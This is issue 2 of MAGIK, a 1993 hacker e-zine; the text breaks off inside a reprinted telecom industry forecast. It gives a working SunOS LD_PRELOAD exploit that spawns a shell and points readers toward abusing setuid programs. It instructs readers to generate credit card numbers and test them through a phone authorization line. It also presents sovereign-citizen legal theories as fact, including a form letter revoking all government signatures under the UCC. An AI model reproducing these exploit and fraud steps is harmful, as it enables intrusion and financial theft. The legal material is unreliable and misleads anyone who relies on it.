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<*> MAGIK <*>
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Master Anarchists Giving Illicit Knowledge
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April 23, 1993
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Issue 2, Volume 1
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In This Issue
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~~~~~~~~~~~~~
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[1] MAGIK PGP Public Key
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[2] Introduction <Chaos>
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[3] Signing Crap
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[4] Sun OS Preloading
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[5] Credit Card # Formula
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[6] Telecommunications News
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[7] Code Thief <White Lightning>
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[8] Audioconferencing Services <Arkimage/Chaos>
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[9] Telnet Gateway <Chaos>
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[10] Sprint Conference Line Info <Chaos>
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[11] A Business Conference-Call, Inc. <Chaos>
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[12] CSUnet <Chaos>
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[13] The Art of Phreaking I <Electronic Vampyre>
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[14] Thrifty Tel Inc. <Chaos>
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[15] New PacificBell Services <Chaos>
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Staff Organization
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Editor in Chief - Chaos
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Writers - Chaos, Electric Vampyre, White Lightning
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Programming Team - Chaos, White Lightning, Merlamber
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Disclaimer
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MAGIK and it's writers assume no responsibility for the uses
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of the material presented. The information in this magazine is for
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informational purposes only, and is not necessarily intended for
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illegal uses.
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MAGIK PGP Key
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Now days that the Government is just getting too big, and just
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loves to intercept people's mail, MAGIK just like many others has
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gone to completely encrypted email. Any email send to magik should
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be sent with the following PGP public key. All other email will be
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completely ignored.
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-----BEGIN PGP PUBLIC KEY BLOCK-----
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Version: 2.2
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mQCNAiuuMjMAAAEEAOBHrS3FtN+p4MOSKLkObsUVVp4nwsAzOgWcvWaDnvU2oEJt
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fdF2wFJ6qYQwlm1e+RclHaA+Cb2ma+U8YEy3gb35pKviQMbTdVolAEIDvU1sC1nR
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7GU9w2uR1FFL0MOOIHiSkztTNNwAjhC/BSkM4Xx/i+TmIGkSn/wseIE8s70FAAUR
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tCVNQUdJSyBNYWdhemluZSA8bWFnaWtAcG5ldDAxLmN0cy5jb20+
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=Qa66
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-----END PGP PUBLIC KEY BLOCK-----
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Introduction
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by Chaos
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As promised in our last issue, we are back and even better
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than ever. I took some heat for issue #1's text reader, so from
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the unfavorable feedback I have decided to drop the reader from the
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publication. The whole reader is being completely rewritten and
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may eventually be added back in, but not at this time. If you feel
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a reader should be added back in let me know. I have had many
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people ask me the question "Why do you have a reader for MessyDos?"
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Well it is simple. Authenticity. I have found in my days of
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modeming there are little kids out there who get their kicks out of
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popping the magazine in an editor and changing stuff around, which
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in turn makes us look bad. Now that this has been removed be sure
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to get a copy from a reliable source. This can always be obtained
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from EFF by FTP at 'ftp.eff.org' in /pub/cud/magik. Disappointingly
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we are not receiving much feedback from our readers in the way of
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submissions to the magazine. Com' on guys, I mean we can keep
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feeding you all of this cool shit, but you have got to at least
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give us a little back. We are still looking for qualified writers.
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We also need someone who can write articles in the way of global
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hackers in the news. If interested mail into the magik mailbox.
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Pre-Loading
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SunOS buggy? No way! They got rid of all the bugs, didn't
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they?
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Okay, when SunOS executes a program, it does dynamic library
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linking.
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It checks the libraries in this order:
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The program's symbols
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The preloaded symbols
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The user dynamic library symbols
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The system default dynamic library symbols
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Here's an example of how to take advantage of this:
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Create sync.c:
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sync() {
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execl("/bin/sh", "sh", 0);
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}
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cc -c -O -R -pic sync.c <--Compile it
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ld -o buglib.so.1.1 -assert pure-text sync.o <--Make a library
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setenv LD_PRELOAD ./buglib.so.1.1 <--Set the preload list
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su sync
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When you do this, it does an su to sync, then sees your fake sync()
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call, which calls up a shell. Course you're still running as the
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sync
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user.
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The sync account is just uid=1, gid=1. But there's all those setuid
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programs floating around out there. Use your imagination...
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Signing Crap
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If ye love wealth greater than liberty,
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the tranquility of servitude greater
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than the animating contest for freedom,
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go home from us in peace.
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We seek not your counsel, nor your arms.
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Crouch down and lick the hand that feeds you;
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and may posterity forget that ye were our countrymen. - Sam Adams
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Contrary to what most people think, the "founding fathers" didn't
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have computers, but they definitely knew what hacking was all about.
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This little quote from a "founding father" remind you of something you
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told a cop or your parents once or twice? Only difference is they would
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say "go home" and we'd say "go to hell" or "drop dead".
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Okay, before we get to the crap, I got something good to show yas.
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See, I figure people think law is boring. I guess they just haven't
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been reading the right kind of law. You just gotta look in the right
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places. This thing is verbatim right from the sentencing. The U.S.
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Judge was sitting in an adobe stable they was using as a temporary
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court room. This was Federal District Court in the New Mexico
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Territory. The guy was convicted of murder.
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Jose Manuel Miguel Xavier Gonzales, in a few short weeks it
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will be spring. The snows of winter will flee away, the ice will
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vanish, and the air will become soft and balmy. In short, Jose
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Manuel Miguel Xavier Gonzales, the annual miracle of the years
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will awaken and come to pass, but you won't be there.
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The rivulet will run its soaring course to the sea, the
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timid desert flowers will put forth their tender shoots, the
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glorious valleys of this imperial domain will blossom as the
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rose. Still, you won't be here to see.
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From every tree top some wild woods songster will carol his
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mating song, butterflies will sport in the sunshine, the busy bee
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will hum happy as it pursues its accustomed vocation, the gentle
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breeze will tease the tassels of the wild grasses, and all
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nature, Jose Manuel Miguel Xavier Gonzales, will be glad, but
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you. You won't be here to enjoy it because I command the Sheriff
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or some other officer of the country to lead you out to some
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remote spot, swing you by the neck from a knotting bough of some
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sturdy oak, and let you hang until you are dead.
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And then, Jose Manuel Miguel Xavier Gonzales, I further
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command that such officer or officers retire quickly from your
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dangling corpse, that vultures may descend from the heavens upon
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your filthy body until nothing shall remain but bare, bleached
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bones of a cold-blooded, copper-colored, blood-thirsty, throat-
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cutting, chili-eating, sheep-herding, murdering son-of-a-bitch.
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United States of America v. Gonzales (1881), United States
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District Court, New Mexico Territory Sessions.
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Ever been "forced" to sign something? Well, the U.C.C. lets
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you get around that problem. See, they figured there would be times
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where you would sign something you didn't want to. They went and
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made the rules so that a smart guy could get out of that. I like
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loaded dice. So, there's a loophole for when you don't have free
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will to sign shit. When you sign something "without prejudice"
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or "under protest", you can get out of the signature and you can
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even sue to get even (sue to recover rights). Every state has
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adopted this section at least, including Louisiana as of 1/1/75.
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See Louisiana Revised States 10:1-207.
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The following states clearly follow 1-207 (all citations
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are to the state's highest court (usually the supreme court)
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unless otherwise indicated): Ohio (544 N.E.2d 869 (1989)); and
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Rhode Island (3 UCC Rept Serv. 2d 466 (R.I. Dist Ct, 1987).
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The following states distinguish 1-207, and continue to
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prohibit a creditor from altering an endorsement restriction and
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thereby reserving rights to collect the balance: Alabama (378
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So. 2d 1122 (1979)); Alaska (673 P.2d 724 (1983)); Arkansas (644
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S.W.2d 292 (1982)); California (737 P.2d 417 (1987));
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Connecticut (520 A.2d 1028 (1987)); Florida (407 So. 2d 312
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(Fla. App. 1981)); Georgia (858 F.2d 1507 (Cir 11, 1988); 265
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S.E.2d 325 (1980)); Illinois (722 F.Supp. 339 (E.D.Va 1989)
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(This cite looks bad to me; An Illinois issue decided in the
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Eastern District of Virginia? It's possible, but unlikely; I
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assume I transcribed the cite incorrectly); Kansas (762 P.2d 196
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(1988)); Louisiana (423 So. 2d 752 (La. App. 1982); 799 F.2d
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1984 (Cir. 5, 1986); Maine (484 A.2d 1008 (1984)); Maryland (459
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A.2d 1120 (1983)); Michigan(418 N.W.2d 386 (1987)); Nebraska
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(382 N.W.2d 313 (1986)); New Jersey (418 A.2d 1326 (Dist Ct.,
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1980); North Carolina (264 S.E.2d 385 (1980)); Oregon (664 P.2d
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419 (1983); Utah (706 P.2d 607 (1985)); West Virginia (1 UCC
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Repr. Serv. 2d 1425); Washington (610 P.2d 390 (1980));
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Wisconsin (291 N.W.2d 636 (Ct. App., 1980); Wisconsin (341
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N.W.2d 655 (1984); and Wyoming (593 P.2d 828 (1979)). What this
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means is that the U.C.C. does not supercede the common law accord
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and satisfaction. A debtor can add "payment in full" on an
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endorsement, but a creditor CAN'T alter it.
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The following states have authority on either side of the
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question, and appear unsettled: Missouri (not applying 1-207:
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550 F.Supp. 992 (W.D. Mo, 1982); applying 1-207: 694 S.W.2d 762
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(Mo. App. 1985)); New York(not applying: 560 N.Y.S. 2d 617
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(1990); applying: 488 N.E.2d 56 (1985); 553 N.Y.S.2d 349
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(1990)); Pennsylvania (applying: 476 F.Supp. 1155 (E.D. Pa.,
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1979); not applying: 36 UCC Rept Serv. 369 (Pa. Ct. Common
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Pleas, 1983); and Texas (not applying: 735 S.W.2d 501 (Tex.
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Appl. 1987); applying: 804 S.W.2d 238 (1991)).
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This is all in U.C.C. Book 1, Section 207:
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Performance or Acceptance Under Reservation of Rights.
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A party who with explicit reservation of rights performs or
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promises performance or assents to performance in a manner
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demanded or offered by the other party does not thereby prejudice
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the rights reserved. Such words as 'without prejudice,' 'under
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protest' or the like are sufficient.
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What a bunch of crap to hide what it means, eh? The whole
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U.C.C. is written like that. If you don't believe it's in there,
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go get a college business law book. Most of them have a copy of
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the U.C.C. stuffed in the back some place and they might even
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talk about this section some place else in the book (ha! not). To
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fulfill the requirements, just write the words "signed without
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prejudice," above or beside your signature.
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If you start doing this, use "without prejudice" instead of
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"under protest" because a circuit judge that Thomas Covenant
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(of Thieves' World) messed with didn't even know what it meant.
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If a judge asks you what you mean when you said "without prejudice,"
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you could tell him something like this: "It indicates I have
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exercised the remedy provided for me in the Uniform Commercial Code
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by which I might reserve the common law right not to be compelled
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to perform under any contract that I have not entered knowingly,
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voluntarily, and intentionally."
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An Example: Driver's Licenses
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You probably contracted away some of your constitutional
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rights without even realizing it. Here's some examples:
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You contract away your right to free speech when you enter
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a movie theatre. You cannot talk or whistle or sing or the
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management will kick you out (and no refund).
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You contract away your freedom of assembly when you sign an
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apartment lease. You cannot have a political rally with 100
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people every night in your apartment. Same goes for freedom of
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speech.
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You contract with your employer to go by his rules. (No
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gambling, no alcohol on company premises). If you break a rule,
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you get fired. You do not get a trial. It is breach of
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contract not a crime.
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You contract away your right to a jury trial when you sign
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a brokerage agreement with Merrill Lynch, etc. You agree to use
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binding arbitration instead of the court system.
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You agree some place in your driver's license application to
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obey all the rules. The state legislature writes these statutes
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(they are NOT laws). And then can change them any time they feel
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like it. They are the terms of the contract. Part of the terms
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of the contract include waiving some of your constitutional
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rights.
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If a police officer stops you, he writes you a 'ticket'.
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There is probably some part of the contract that says you can
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have a "trial" (it's an administrative hearing) if you break a
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rule. To make it look real, most states will even allow you to
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have a "jury", but they usually try to skimp on the 12 jurors
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required for a real trial. Civil rules are NOT crimes. It's
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always called an 'offense' or an 'infraction' to disguise this
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fact. It is a breach of contract.
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Under the constitution, you get a jury trial for all crimes
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(6th amendment) and a jury trial for all civil law suits for an
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amount over $20 (7th amendment). A traffic hearing is not a
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criminal court, so forget the 6th amendment. It's not a common
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law suit, so forget the 7th amendment. It's a breach of contract
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suit.
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Now the UCC comes in. Almost all of it covers rules for
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contracts and breaches of contracts. The UCC says that you do
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not have to honor a contract unless you entered "knowingly,
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intentionally, and willfully." It assumes that you did all these
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things if you received benefits from the contract unless you
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specifically reserve your rights. In this case, one of the
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benefits is lower insurance rates since you are a licensed
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driver.
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If you reserved your rights by signing without prejudice,
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the state can still sue you, but it has to be a common law suit.
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Look at Article III, Section 2, paragraph 2 of the Constitution
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of the United States. It would be unfair for a state court to
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try a case in which the state is one of the parties, so the
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Supreme Court has jurisdiction over this case.
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Did you know you were giving up your constitutional rights
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when you entered into that contract? It is fraudulent to enter
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into a contract without entering "knowingly, intentionally, and
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willfully". You can rescind that contract. That is part of what
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the form letter below is about, but that particular form letter
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is much more complicated for other reasons.
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The Form Letter
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Okay, this is a sneaky document that a guy sent me that is
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essentially a template Go Away form written by an 18 year old
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kid that just decided he had enough shit and started reading the
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law, just like everybody told him to do. Now, a lot of this
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shit is going to sound REALLY screwed up. Do NOT use anything
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in law that you don't understand or you will get in trouble. I
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will eventually explain everything in it. You might want to
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at least consider what it says in 3-511 and then write a letter
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to anybody you're signing "without prejudice" with and tell them
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to throw away the form you signed.
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Let it be known, I reserve all of my rights under the common
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law provisions and proceed to base my claim of fraud upon all who
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deny me these rights.
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I shall continue to state, I am not a resident of the District
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of Columbia or a foreign corporation, officer, director, stockholder,
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or employee of a foreign corporation, or a citizen of the United
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States, or a citizen of the U.S., or a citizen of any corporate,
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conglomerate state government, and I am not a resident of any federal
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possession, enclave, or fort etc., and if I of necessity receive any
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governmental benefits and privileges, it is without prejudice,
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reserving all rights as per the Uniform Commercial Code 1-207. I am
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therefore not subject to the color of law jurisdictions of the United
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States in the corporate monopoly of the federal and state governments.
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I am a natural and corporeal person and cannot live in a
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corporate fiction called the United States nor the corporate fiction
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called the State of California. I thereby claim my rights under the
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Constitution which is the Supreme Law of the Land. The Bill of Rights
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enumerates some of our God-given rights as sovereign citizens.
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I deny all jurisdictional claims you present over me. I further
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respectfully dishonor all claims against me this day, and all other
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days that I have been forced to enter into this jurisdiction by
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estoppel, fraud, misrepresentation, duress, coercion, mistake, etc.
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This is done upon the following provisions of Code:
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Under U.C.C. 1-207 Performance or acceptance under reservation of
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rights.
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A party who with explicit reservation of rights performs or
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promises performance or assents to performance in a manner demanded or
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offered by the other party does not thereby prejudice the rights
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reserved. Such words as "without prejudice", "under protest" or the
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like are sufficient.
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Under U.C.C. 3-511 (1) and (c). Waived or excused presentment,
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protest or notice of dishonor or delay therein.
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(1) Delay in presentment, protest, or notice of dishonor is
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excused when the party is without notice that it is due or when the
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delay is caused by circumstances beyond his control and he exercises
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reasonable diligence after the cause of the delay ceases to operate.
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Presentment or notice or protest as the case may be is entirely
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excused when
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(c) by reasonable diligence the presentment or protest cannot
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be made or the notice given.
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I dishonor your presentment or claim upon me.
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Under U.C.C. 3-305 (2) (b) and (c) Rights of a holder in due course.
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(2) All defenses of any party to the instrument with whom the holder
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has not dealt except
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(b) Such other incapacity, or duress, or illegality of the
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transaction, render the obligation of the party a nullity, and
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(c) such misrepresentation as has induced the party to sign the
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instrument with neither knowledge nor reasonable opportunity to obtain
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knowledge of its character or its essential terms.
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Under U.C.C. 3-601 (3) (a). The liability of all parties is
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discharged when any party who has himself no right of action or
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recourse on the instrument
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(a) reacquires the instrument in his own right.
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Under U.C.C. 1-103. Supplementary general provisions of law
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applicable.
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Unless displaced by the particular provisions of this act, the
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principles of law and equity, including the law merchant and the law
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relative to capacity to contract, principal and agent, estoppel,
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fraud, misrepresentation, duress, coercion, mistake, bankruptcy, or
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other validating or invalidating cause shall supplement its
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provisions.
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Under U.C.C. 2-609. Right to adequate assurance of performance.
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(4) After receipt of a justified demand failure to provide within
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a reasonable time not exceeding thirty days such assurance of due
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performance as is adequate under the circumstances of the particular
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case is a repudiation of the contract.
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Under U.C.C. 2-608. Revocation of acceptance in whole or in part.
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(1) The buyer may revoke his acceptance of a lot or commercial unit
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whose nonconformity substantially impairs its value to him if he has
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accepted it.
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(b) without discovery of such nonconformity if his acceptance was
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reasonably induced either by the difficulty of discovery before acceptance
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or by the seller's assurances.
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(2) Revocation of acceptance must occur within a reasonable time
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after the buyer discovers or should have discovered the ground for it
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and before any substantial change in condition of the goods which is not
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caused by their own defects. It is not effective until the buyer
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notifies the seller of it.
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(3) A buyer who so revokes has the same rights and duties with
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regard to the goods involved as if he had rejected them.
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I hereby revoke all signatures on every and all state and federal
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documents which has my signature on it, and including those in the
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future if forced to do so.
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I further disclaim any oaths or implied oaths of or contracts.
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Dated _____
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Submitted by _______________
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Signed without prejudice U.C.C. 1-207
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Turing the Tables
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Fair's fair, right? While you're busy filling out their forms,
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why not make them fill out YOUR form? This is a federal form only,
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unfortunately. Here it is, the Public Servant's Questionnaire,
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with questions required to be answered BY LAW! Just edit it so
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that it doesn't look so crappy and go for it.
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----cut here----
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Public Law 93-579 states in part: "The purpose of this Act is to
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provide certain safeguards for an individual against invasion of
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personal privacy by requiring Federal agencies...to permit and individual
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to determine what records pertaining to him are collected, maintained,
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used, or disseminated by such agencies."
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The following questions are based upon that act and are necessary
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in order that this individual may make a reasonable determination
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concerning divulgence of information to this agency.
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1. Name of public servant...............
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2. Residence......City.....State......Zip......
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3. Name of department, bureau, or agency by which public servant
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is employed........supervisor's name......
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4. It's mailing address...........City......State....Zip......
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5. Will public servant uphold the constitution of the United States?
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6. Did public servant furnish proof of identity?
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7. What was the nature of proof?..............
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8. Will public servant furnish a copy of the law or regulation which
|
|
authorizes this investigation?
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9. Will the public servant read aloud that portion of the law authorizing
|
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the questions he will ask?
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10. Are the answers to the questions voluntary or mandatory?
|
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11. Are the questions to be asked based upon a specific law or regulation,
|
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or are they being used as a discovery process?
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12. What other uses may be made of this information?
|
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13. What other agencies may have access to this information?
|
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14. What will be the effect upon me if I should choose not to answer
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any part or all of these questions?
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15. Name of person in government requesting that this investigation be
|
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made...............
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16. Is this investigation 'general' or is it 'special'?
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17. Have you consulted, questioned, interviewed, or received information
|
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from any third party relative to this investigation?
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18. If so, the identity of such third parties..........
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19. Do you reasonably anticipate either a civil or criminal action to be
|
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initiated or pursued based upon any of the information which you seek?
|
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20. Is there a file of records, information, or correspondence relating to
|
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me being maintained by this agency? If yes, which?
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21. Is this agency using any information pertaining to me which was
|
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supplied by another agency or government source?
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22. May I have a copy of that information?
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23. Will the public servant guarantee that the information in these files
|
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will not be used by any other department other than the one by whom he
|
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is employed? If not, why not?
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If any request for information relating to me is received from any
|
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person or agency, you must advise me in writing before releasing such
|
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information. Failure to do so may subject you to possible civil or
|
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criminal action as provided by the act.
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I swear (affirm) that the answers I have given to the foregoing
|
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questions are complete and correct in every particular. ___________
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Date: ____/_____ Witness:____________ Witness:_______________
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----cut here----
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Okay, when they decide to get cocky, here's your legal power for
|
|
asking these questions:
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1,2,3,4 In order to be sure you know exactly who you are giving the
|
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information to. Residence and business addresses are needed in case
|
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you need to serve process in a civil or criminal action upon this
|
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individual.
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5 All public servants have taken a sworn oath to uphold and
|
|
defend the constitution.
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6,7 This is standard procedure by government agents and
|
|
officers. See Internal Revenue Manual, MT-9900-26, Section 242.133.
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8,9,10 Title 5 USC 552a, paragraph (e) (3) (A)
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11 Title 5 USC 552a, paragraph (d) (5), (e) (1)
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12,13 Title 5 USC 552a, paragraph (e) (3) (B), (e) (3) (C)
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14 Title 5 USC 552a, paragraph (e) (3) (D)
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15 Public Law 93-579 (b) (1)
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16 Title 5 USC 552a, paragraph (e) (3) (A)
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17,18 Title 5 USC 552a, paragraph (e) (2)
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19 Title 5 USC 552a, paragraph (d) (5)
|
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20,21 Public Law 93-579 (b) (1)
|
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22 Title 5 USC 552a, paragraph (d) (1)
|
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23 Title 5 USC 552a, paragraph (e) (10)
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losing Thought
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Sometimes the law defends plunder and participates in it. Sometimes
|
|
the law places the whole apparatus of judges, police, prisons and gendarmes
|
|
at the service of the plunderers, and treats the victim - when he
|
|
defends himself - as a criminal. - Frederic Bastiat `The Law'
|
|
This guy rips liberals to shreds. Want to read it? This thing is
|
|
probably about as nasty as sending someone a copy of Rush Limbaugh's
|
|
book, except Bastiat is more serious and he wasn't Republican OR
|
|
Libertarian.
|
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Getting it by ftp:
|
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ftp think.com
|
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cd /pub/libernet/misc
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(Yeah, I know it's that silly libertarian stuff..the book is
|
|
good and very old even if the libs like it, too)
|
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get frederic-bastiat-the-law [text]
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get the.law.dvi [dvi file]
|
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get the.law.latex [latex]
|
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Getting it by mail:
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Single copies are 2 Federal Reserve Notes. A case of 100 is 75. Address:
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The Foundation For Economic Education, Inc.
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Irvington-On-Hudson, New York, 10533.
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(--------------------------------------------------------)
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Credit Card Formula
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(--------------------------------------------------------)
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|
|
Now days it seems credit card numbers and CBI/TRW accounts are
|
|
hard to come by. With this, there seems one simple solution, why
|
|
can't you create your OWN virgin credit card numbers? The whole
|
|
process is very simple and can be used to create all of the credit
|
|
card numbers you would every want.
|
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|
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Mastercard - 5xxx xxxx xxxx xxxc
|
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Visa - 4xxx xxx xxx xxc
|
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Visa Gold - 4xxx xxxx xxxx xxxc
|
|
American Express - 3xxxxxxxxxc
|
|
|
|
If you have an IQ above 0 then you would know that the X's can
|
|
be filled in with a random number from 0-9. But what are the C's
|
|
filled in with? The C is the check digit for the whole card. In
|
|
order to compute this check digit you must use a mathematical
|
|
formula. First lets assume the Mastercard we made up was '5123
|
|
1234 1234 123c'. The first thing we need to do is assign each
|
|
number a place value, so we would start from the right and work out
|
|
way to the left, for example :
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|
|
15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 c
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| | | | | | | | | | | | | | |
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5 1 2 3 1 2 3 4 1 2 3 4 1 2 3 c
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|
|
Now starting from the right (#1) and moving to the left (#15)
|
|
we would take every -ODD- number and multiply it by 2. The answer
|
|
would come out to be 38 from out example. We would now round the
|
|
number to the nearest number divisible by 10 which in this case
|
|
would be 40. We would subtract 38 from 40 (40 - 38 = 2). Are
|
|
check digit in this example would be 2.
|
|
|
|
Now that you can create the card #, you need a method of
|
|
checking this credit card. This can be done very simply with this
|
|
process :
|
|
|
|
(1) Dial 1-800-554-2265
|
|
(2) Dial 1067#24#
|
|
(3) 10# for Mastercard or 20# for VISA
|
|
(4) Credit Card Number then #
|
|
(5) Expiration date in the form (MM/YY) then #
|
|
(6) Ammount in XX*XX (IE 10*16 would be $10.16) then #
|
|
|
|
You now have a virgin credit card number, have phun =)
|
|
|
|
(--------------------------------------------------------)
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|
|
Telecommunications News
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|
|
(--------------------------------------------------------)
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|
|
Telecom Winners And Losers In 1993
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
By Dr. Jerry Lucas
|
|
|
|
It's 1993, time for TeleStrategies' annual analysis of winners and
|
|
losers in the coming year. First, we'll review how we called them last
|
|
year (TeleStrategies Insight, January 1992) because it's fun to toot
|
|
your own horn when you're right. Then we'll cover what happened in
|
|
1992 that influenced our assessment for 1993. Finally, we'll tell you
|
|
what to expect this year if you like to pick winners rather than
|
|
losers.
|
|
|
|
TELESTRATEGIES' TOP TEN WINNERS AND LOSERS
|
|
1. ATM/SONET
|
|
2. Collocation
|
|
3. PCS
|
|
4. Cellular Technologies
|
|
5. 800 Number Portability
|
|
6. Video Dial Tone
|
|
7. IntraLATA Toll
|
|
8. Screen Phones
|
|
9. AIN
|
|
10. ISDN
|
|
|
|
1. ATM/SONET
|
|
First, a quick technology refresher: Synchronous Optical Network
|
|
(SONET) is the standardization of optical fiber transport;
|
|
Asynchronous Transfer Mode (ATM) is the multiplexing and/or switching
|
|
access to SONET transport.
|
|
|
|
Last year at this time, the only ATM/SONET game was the RBOCs'
|
|
Switched Multimegabit Data Service (SMDS). We deemed it a loser and
|
|
that opinion remains unchanged. Why? SMDS doesn't create value for end
|
|
users. As planned, SMDS would deliver LAN connectivity to users via a
|
|
public packet network with 1.5 to 45 Mbps access. First, there is no
|
|
demand today for public (i.e., inter-company) LAN connectivity except
|
|
in the research and education market. If you are a player in R&E, you
|
|
get it for "free" via Internet. (See TeleStrategies Insight, November
|
|
1992). Second, if you want switched, intra-company LAN-to-LAN
|
|
connectivity with 1.5 Mbps access, and you have to pay for it, you can
|
|
get it today with frame relay technology. Third, the only way to
|
|
justify 45 Mbps access today is interconnection to an interexchange
|
|
carrier where voice, data and video can be integrated to the IXC
|
|
serving center. In summary, if your view of how ATM/SONET will roll
|
|
out in 1993 is megabit per second, data only, access to a public ATM
|
|
switch (SMDS), you lose.
|
|
|
|
So what happened in 1992 to make ATM/SONET timely and a winner for
|
|
1993? The ATM Forum. In 1992 the computer/LAN people joined with the
|
|
router, T1 mux, DCS and CO vendors to push for CPE ATM standards
|
|
compatible with carrier SONET. The end result: it is now possible for
|
|
ATM CPE to interface with an ATM/SONET-based IXC. Look for the large
|
|
end user to see the first wave of ATM CPE products and compatible
|
|
private line carrier offerings by year end.
|
|
|
|
2. COLLOCATION
|
|
Last year we picked 1992 as the year the FCC would follow the New York
|
|
PSC's lead regarding CO collocation for the Alternative Local
|
|
Transport Service (ALTS) providers. The FCC did just that last summer
|
|
with the result that collocation for special private line access is
|
|
here. So, if you were an ALTS and took the risk to start up or fortify
|
|
your market position, as you already know, you were a winner in 1992.
|
|
|
|
What else happened in 1992 to affect collocation opportunities in
|
|
1993? Plenty. First, collocation has now been established as an
|
|
acceptable practice at the state PUC level. RBOC COs haven't been
|
|
destroyed by "incompetent" ALTS technicians when on site at the CO,
|
|
etc. Second, Senator Al Gore was elected Vice President. It is likely
|
|
that he will use his position to become the U.S. "technology czar,"
|
|
putting special emphasis on his "baby," the National Research and
|
|
Education Network (NREN), the gigabit replacement for Internet (see
|
|
TeleStrategies Insight, June 1992). Third, the RBOCs acknowledge they
|
|
lost the special access monopoly with collocation (a $3 billion
|
|
market). It's just a matter of time until switched access (a $20
|
|
billion market) is opened to competition, further eroding the RBOCs
|
|
position. In light of this a few RBOCs (or independents) have realized
|
|
that "if you can't beat them, join them."
|
|
|
|
What should you expect in 1993 regarding collocation opportunities?
|
|
First, a lot of hype about the telecom infrastructure creating jobs
|
|
(the Gore/NREN effect) followed by creative RBOC/state PUC initiatives
|
|
to attract new business. The bottom line for 1993: very special
|
|
collocation agreements between corporate networking customers and
|
|
RBOCs with the blessing of state PUCs. If the RBOCs are going to get
|
|
bypassed anyway, why shouldn't they get in on it themselves. The RBOCs
|
|
could win big politically with Washington, their state governments and
|
|
others by teaming with end users! Collocation offers endless
|
|
possibilities. Watch the creative ones in 1993.
|
|
|
|
3. PCS
|
|
Last year we said that there wouldn't be any new spectrum
|
|
reallocations for Personal Communications Services (PCS) and that the
|
|
FCC's Pioneer Preference system was the best way to go if you wanted
|
|
to start up now. We were right on both counts.
|
|
|
|
If you are exploring PCS opportunities in 1993, here's what happened
|
|
in 1992 that you should know about. (1) You can no longer file for a
|
|
Pioneer's Preference; (2) The FCC issued a Notice of Proposed Rule
|
|
Making for PCS frequency reallocation and was deluged with comments.
|
|
MCI's proposal drew significant attention. It calls for the creation
|
|
of three national consortia in which no one company would have a
|
|
controlling interest and no one would be allowed to hold both cellular
|
|
and PCS licenses in the same geographic area. (3) Last month Pacific
|
|
Bell blew it for RBOC PCS set-asides last when they announced their
|
|
"Divestiture II," which will split their cellular operations and
|
|
regulated local exchange operations into two separate companies.
|
|
Readers of TeleStrategies Insight (August 1991) shouldn't have been
|
|
surprised because we predicted a year and a half ago that an RBOC
|
|
would do exactly what Pacific Bell now says it will do.
|
|
|
|
If you aren't a cellular carrier or a PCS pioneer but want to get into
|
|
PCS in 1993, start by reading MCI's PCS consortia proposal to the FCC.
|
|
It's well thought out and has had a lot of input from industry
|
|
players. Start networking with these consortia because 1993 will be
|
|
open for filings. There will be no set-aside frequencies nor will
|
|
there be lotteries as with cellular.
|
|
|
|
4. CELLULAR TECHNOLOGY
|
|
Last year at this time, the hot topic in cellular was TDMA vs. CDMA.
|
|
We called TDMA the definite winner for this year and we were right.
|
|
McCaw, Rogers Cantel and Southwestern Bell are implementing TDMA.
|
|
Others (Pacific Bell, NYNEX, U S WEST) who are publicly leaning toward
|
|
CDMA may have to go with TDMA just to meet the digital marketing hype
|
|
that's starting to float around. Regarding 1993, what new technology
|
|
developments have arisen to create future opportunities? Packet data
|
|
via cellular. The significance of packet data via cellular is that the
|
|
air time costs drop (you pay by the data burst) and less power is
|
|
drawn from the batteries (giving you longer periods between
|
|
recharges). The packet cellular systems tested in 1992 were made by
|
|
Cellular Data, Inc., and IBM (Cellplan II). Cellular carriers are
|
|
getting ready to roll out one or the other. In 1993, opportunities
|
|
abound for applications and distribution for low-cost, portable data
|
|
communications.
|
|
|
|
5. 800 NUMBER PORTABILITY
|
|
Number portability allows current 800 customers to move their 800
|
|
business to another IXC without changing their phone numbers; they can
|
|
divide their business based on call origination location, time of day
|
|
or by a random percentage allocation. No winners or losers were
|
|
predicted last year because 800 number portability wasn't scheduled to
|
|
happen until 1993.
|
|
|
|
Starting in May, 1993 or shortly thereafter, 800 number portability
|
|
will create new opportunities for:
|
|
|
|
IXCs who are lusting after AT&T's 800 customers. Even the smallest
|
|
IXCs will be able to participate because they can carry national 800
|
|
account originating traffic in their service area only.
|
|
|
|
THE MEDIA will bombard the U. S. with 800 advertisements. TV and print
|
|
media are in for a revenue windfall. Big bucks will be spent by AT&T,
|
|
MCI, Sprint and others on 800 service advertisements.
|
|
|
|
CONSUMERS will benefit because 800 number portability brings SS7
|
|
connectivity with it. This means almost all telephone calls will be
|
|
distance-insensitive regarding call set-up time.
|
|
|
|
POTENTIAL TOLL FRAUD VICTIMS will have less exposure. Almost all toll
|
|
fraud (that end users are liable for) originates with an 800 call to a
|
|
company's voice mail box or direct inward system access (DISA) line.
|
|
800 number portability gives users the ability to "red line." Here's
|
|
an example: the Bronx area of New York City is a hot bed of toll fraud
|
|
activity. Users will be able to block calls down to that NPA-NXX.
|
|
|
|
LECs performing centralized data base dips will not only be
|
|
compensated for IXC selection and more, but the SS7 infrastructure
|
|
will be in place to create other intelligent network services.
|
|
|
|
But what about AT&T? On the surface, 800 number portability looks like
|
|
a loser for them; they're going to lose 800 customers or at least part
|
|
of their customers' traffic. But there are some things AT&T can do to
|
|
mitigate the damage:
|
|
|
|
1. Fight for Deregulation -- Once 800 number portability goes into
|
|
effect, AT&T can make the case to the FCC that they no longer have the
|
|
advantage created in the pre-divestiture days when they were the only
|
|
800 game in town. This appears to be the last issue Judge Greene has
|
|
to resolve with AT&T. It is probable that AT&T's competitors will
|
|
bring up their international market or their calling card position,
|
|
but these arguments pale with respect to those of 800 number
|
|
portability. The question now is why should AT&T be regulated any
|
|
differently than MCI or Sprint?
|
|
|
|
2. AT&T Patents -- Three years ago in TeleStrategies Insight
|
|
(September/October 1989) we wrote an analysis of AT&T's patents and
|
|
potential strategies they could implement to generate billions in
|
|
revenues. In that article I predicted that within a year AT&T would go
|
|
after its competition, probably targeting MCI for violating its 800,
|
|
0+, VPN and other intelligent network call processing method patents.
|
|
Well, I was right and wrong. It took three years rather than one (We
|
|
had to wait for 800 number portability to be set in motion.). But AT&T
|
|
notified the FCC (on Thanksgiving eve) that MCI may be violating its
|
|
intelligent network patents with its Canadian long distance deal.
|
|
(Patent attorneys say the way you notify the world you're ready to go
|
|
to court is by using the word "may.")
|
|
|
|
Briefly, here's what's going on with AT&T patents. AT&T has patents
|
|
issued from 1979 to 1982 that appear to cover all intelligent
|
